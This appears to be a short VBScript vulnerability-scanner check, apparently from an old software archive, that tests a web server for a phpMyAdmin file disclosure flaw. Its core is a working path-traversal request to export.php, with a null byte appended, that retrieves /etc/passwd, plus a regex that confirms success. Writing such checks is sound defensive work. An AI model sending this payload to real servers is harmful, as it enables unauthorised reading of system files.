home *** CD-ROM | disk | FTP | other *** search
- 'check the phpMyadmin File
- 'Disclosure Vulnerability
- 'we try to get /etc/passwd
-
- Function Main
- Dim i As Integer
- Dim objHTTP As Object
- Dim varHTTPResponse As Variant
- Dim varCgiDirs(3) As Variant
- Dim objRegexp As Object
- Dim bResult As Boolean
-
- ip = getparameter("ComputerIP")
- port = 80
-
- bResult = false
-
- varCgiDirs(0) = ""
- varCgiDirs(1) = "/cgi-bin"
- varCgiDirs(2) = "/scripts"
- varCgiDirs(3) = "/phpMyAdmin"
-
-
- Set objRegexp = CreateObject("Vbscript.regexp")
- objRegexp.ignorecase = true
-
- objRegexp.pattern = ".*root:.*:0:[01]:.*"
-
- Set objHTTP = HTTP.Connect (ip,port)
-
- For i = 0 To 3
- objHTTP.GetURL (varCgiDirs(i) + "/export.php??what=../../../../../../../../../../etc/passwd%00")
- objHTTP.Authentication = 1
- varHTTPResponse = objHTTP.SendRequest ()
- If objRegexp.test (objHTTP.Body) Then
- bResult = true
- Exit For
- End If
- Next
-
- main=bResult
-
- End Function
-